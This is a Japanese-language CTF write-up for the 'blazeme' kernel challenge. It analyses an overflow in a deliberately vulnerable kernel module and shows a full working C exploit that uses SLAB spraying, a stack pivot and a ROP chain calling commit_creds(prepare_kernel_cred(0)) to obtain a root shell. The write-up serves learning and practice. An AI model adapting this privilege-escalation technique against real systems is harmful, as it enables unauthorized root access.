Rating: 5.0


# 問題

```
Kernel exploitation challenge!

ssh [email protected] password: guest

Download here (6 MB)

The flag in this archive is not the real flag. It's there to make you feel good when your exploit works locally.

Author: crixer
```

# 実験環境
```
Ubuntu 16.04
```
※ 最初Ubuntu 18.10で実験したところ、gdbとqemuの切り替えがCtrl+Cでできなかった(原因は不明)。

# 調査
## 表層解析
配布されたファイルを解凍して中を見ると以下のファイルが入っている。
- blazeme.c: 脆弱性の存在するLKMのソースコード
- bzImage: boot、setup用のデータがカーネル本体(vmlinux)と一緒に圧縮されたもの
- rootfs.ext2: 仮想環境のファイルシステム
- run.sh: qemu起動用のスクリプト

run.shでqemuを起動し、blazeme(パスワードは"guest")でログインすることがわかる。qemuのプロセスは外部から次のコマンドで停止させた。(正しい停止の方法がわからなかった)

```sh
kill `ps -aux | grep qemu | grep -v grep | awk '{print $2}'`
```

### セキュリティ機構
#### SMEP/SMAP
run.shでqemuを起動して調べると無効になっていることがわかる。

```
$ cat /proc/cpuinfo |grep flag
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahf_lm svm 3dnowprefetch retpoline rsb_ctxsw vmmcall
```

#### KASLR
run.shを読むとnokaslr(カーネル空間のランダマイズが無効)であることがわかる。

#### KADR
カーネルのシンボルアドレスが塗りつぶされているのでKADRが有効であることがわかる。

```
$ cat /proc/kallsyms
(null) A irq_stack_union
(null) A __per_cpu_start
(null) T startup_64
...
```

#### blazeme.koのセキュリティ機構
canaryが無効になっているのでbuffer over flowでリターンアドレス書き換えが可能。
```
❯ /opt/checksec.sh/checksec -f blazeme.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 50 Symbols No 0 1 blazeme.ko
```

## 一時的にrootを取得
問題を解く上で`commit_creds`, `prepare_kernel_cred`などのアドレスが欲しくなる。一時的にroot権限をとってメモしておく。今回はrootfs.ext2をホストマシンにマウントして中身を書き換えることができる。blazemeアカウントでログインした際にrootとしてログインするように`/etc/passwd`を以下のように変更する。

```sh
❯ mount -t ext4 -o loop rootfs.ext2 /mnt
❯ sudo vim /mnt/etc/passwd
❯ sudo umount /mnt
```

```
blazeme:x:1000:1000:Linux User,,,:/home/blazeme:/bin/sh

blazeme:x:0000:0000:Linux User,,,:/home/blazeme:/bin/sh
```

この状態でログインするとKADRを無視できる。
```
# cat /proc/kallsyms |grep commit_creds
ffffffff81063960 T commit_creds
# cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff81063b50 T prepare_kernel_cred
```

## GDBでの解析
今回はソースコードが配布されているのでGDBでの解析は行わなかったが、今後のために準備の方法を記しておく。

### vmlinuxの抽出
vmlinuxはbzImageから[extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)を使って抽出する。

```
❯ ./extract-vmlinux.sh bzImage > vmlinux
```

### qemuとgdbの接続
run.shにqemu引数として`-s`オプションを追記しておくと、`localhost:1234`からgdbでアタッチできるようになる。

### LKMのロードアドレスを確認
LKMを動的にqemuを通して解析するときは、LKMがロードされたアドレスを知る必要がある。

上記の方法を用いて一時的にroot権限を得た状態で、LKMがロードされた場所を調べる。

```
# cat /proc/modules
blazeme 16384 0 - Live 0xffffffffc0000000 (O)
```
`0xffffffffc0000000`にblazeme.koがロードされたことがわかるので、gdbでそのアドレスをベースにしてシンボルを読み込める。

```gdb
file ./vmlinux
set arch i386:x86-64:intel #これがないとエラーが出る(Remote 'g' packet reply is too long:~)
tar remote :1234
add-symbol-file blazeme.ko 0xffffffffc0000000
b *blazeme_write
```

## ソース解析
ありがたいことに今回はソースコードが配布されているので、脆弱性は簡単に見つかる。

LKMを自分で書いたことはないので、[ここ](http://shimada-k.hateblo.jp/entry/20110527/1306499679)を参考にソースを読んだ。

```c
ssize_t blazeme_write(struct file *file,
const char __user *buf,
size_t count, loff_t *ppos) {
char str[512] = "Hello ";

~~ 略 ~~

kbuf = NULL;
kbuf = kmalloc(KBUF_LEN, GFP_KERNEL);

~~ 略 ~~

if (copy_from_user(kbuf, buf, count)) {
kfree(kbuf);
kbuf = NULL;
goto out;
}

if (kbuf != NULL) {
strncat(str, kbuf, strlen(kbuf));
printk(KERN_INFO "%s", str);
}

~~ 略 ~~

}
```

ユーザが`/dev/blazeme`に渡したデータをkbuf(kmalloc()で取得された、カーネル空間に存在するバッファ)にコピーされる。その後、kbufの情報がstrncat()でstrに追記される。

このとき、strに追記するデータの長さをstrlen(kbuf)で指定している。さらにkbufの解放(kfree()の実行)はcopy_from_user()の実行失敗時にしか行われない。よって、`/dev/blazeme`に書き込んだ内容はkbufとしてSLABに残り続ける。

この二点を踏まえて考えると、仮にユーザがnullを含まない64byteのデータを複数回`/dev/blazeme`に送り続けた場合、隣接するチャンク内のデータも含めて一つの長い文字列としてstrlen()を計算してしまい、buffer over flowを起こすことが可能になる。(kmalloc()で使用されるSLABアロケータのチャンクにはメタデータは存在しないので途中でnullが入ることは無い)

# 攻撃
当初はSMEP/SMAPが無効であることからret2usrが使えると考えたが、`/dev/blazeme`に渡すpayloadにnullを含むことができない~~ため断念~~(ret2usr使えますね)。x64のユーザー空間のアドレスにはnullが混じるが、カーネル空間のアドレスは`0xffffffff80000000`からスタートするためnullは混じらない。よってkernel ROPを使うことにした。

`mmap()`を使ってユーザー空間(0x174000)にROP chainを含んだ偽装スタックを用意しておき、payloadに仕込んだstack pivot用のgadget`0xffffffff8109c604: mov esp, 0x1740000; ret;`を実行することでROPへと繋げる。

ropgadget検索にはrp++を使った。
```sh
❯ rp-lin-x64 --file=./vmlinux --rop=3 --unique > rop
❯ cat rop | grep "pop rdi ; ret"
...
```

また、攻撃用ファイルは`wget`コマンドでqemu内からダウンロードすることができた。共有ライブラリを静的リンクさせたバイナリでもダウンロードできた。

攻撃がセグフォで落ちたときは`dmesg`コマンドでレジスタの値等を調べることで簡易的にデバッグすることができる。

## exploit code
```c
// gcc -static -O2 -Wall -masm=intel exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>

static void shell() {
printf("[*] get shell!\n");
system("/bin/sh");
}

// /etc/passwdを書き換えることで取得した一時的なrootでcat /proc/kallsymsを確認
unsigned long commit_creds = 0xffffffff81063960;
unsigned long prepare_kernel_cred = 0xffffffff81063b50;

// rp++で見つけたrop gadget
unsigned long stack_pivot_gadget = 0xffffffff8109c604;
unsigned long pop_rdi = 0xffffffff811664cc;
unsigned long pop_rdx = 0xffffffff81148e10;
unsigned long mov_rdi_rax_call_rdx = 0xffffffff81085026;
unsigned long call_rdx = 0xffffffff81002277;
unsigned long xor_rax = 0xffffffff811d20dd;

// ユーザーモードからカーネルモード切り替えのときに使用する値と関数
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long shell_v = shell;

static void save_state() {
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));
__asm__("pushfq");
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}

static void restore_state() {
__asm__("swapgs");
__asm__("mov [rsp+0x20], %0": "r=" (user_ss) : "r" (user_ss));
__asm__("mov rax, 0x01740000"); // fake_stackの値を入れる
__asm__("mov [rsp+0x18], rax");
__asm__("mov [rsp+0x10], %0": "r=" (user_rflags) : "r" (user_rflags));
__asm__("mov [rsp+0x08], %0": "r=" (user_cs) : "r" (user_cs));
__asm__("mov [rsp+0x00], %0": "r=" (shell_v) : "r" (shell_v)); // ここでshellを起動する
__asm__("iretq");
}

int main() {
int PAYLOAD_LEN = 64;
char payload[PAYLOAD_LEN];
unsigned long *fake_stack;

// カーネルモードからユーザーモードに切り替えるときに必要なレジスタの値を保存しておく
save_state();

// stack pivot用の偽stackの構築
fake_stack = mmap(0x01740000 - 0x1000, 0x1000000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); // 確保されていない領域にアクセスして落ちることを防ぐために目的のアドレスより上に多めにとっておく
if (fake_stack == MAP_FAILED) {
printf("[!] mmap error\n");
exit(1);
}

fake_stack += (0x1000 / sizeof(unsigned long)); // 調整
printf("[+] fake_stack: %p\n", fake_stack);
// commit_creds(prepare_kernel_cred(0));
*fake_stack ++= pop_rdi;
*fake_stack ++= 0;
*fake_stack ++= prepare_kernel_cred;
*fake_stack ++= pop_rdx;
*fake_stack ++= commit_creds + 6; // commit_creds()内の最初の2命令は余分なstack操作なのでスキップ
*fake_stack ++= mov_rdi_rax_call_rdx;
*fake_stack ++= xor_rax;
*fake_stack ++= restore_state; // ユーザーモードに切り替え

// stack pivot用のpayload
memset(payload, 'A', 2);
int i;
for(i=0; i<8; i++) {
memcpy(payload + i*8 + 2, &stack_pivot_gadget, 8);
}
printf("[+] payload: %s\n", payload);
printf("[+] payload length: %d\n", strlen(payload));

// SLAB Spray
int fd = open("/dev/blazeme", O_RDWR);

if (fd == -1) {
puts("[!] Can't open /dev/blazeme");
exit(1);
}

unsigned long counter = 1;

while(1) {
if(counter % 100 == 0) {
printf("[+] %d\n", counter);
}

write(fd, payload, PAYLOAD_LEN);
counter++;
}
}
```
# 実行結果
```sh
$ cd /tmp
$ wget 10.0.2.2:8000/exp
Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
exp 100% |*******************************| 896k 0:00:00 ETA
$ chmod +x ./exp
$ id
uid=1000(blazeme) gid=1000(blazeme) groups=1000(blazeme)
$ ./exp
[+] fake_stack: 0x1740000
[+] payload: AA����������������������������������������
[+] payload length: 70
[*] get shell!
$ id
uid=0(root) gid=0(root)
```

# 参考サイト
- https://hama.hatenadiary.jp/entry/2018/12/01/000100
- https://devcraft.io/2018/04/25/blazeme-blaze-ctf-2018.html
- http://rkx1209.hatenablog.com/entry/2017/07/20/211945
- https://cyseclabs.com/slides/smep_bypass.pdf
- https://qiita.com/no1zy_sec/items/ddd71605f9a23d1c9899
- https://hackmd.io/s/SkzwqTRAQ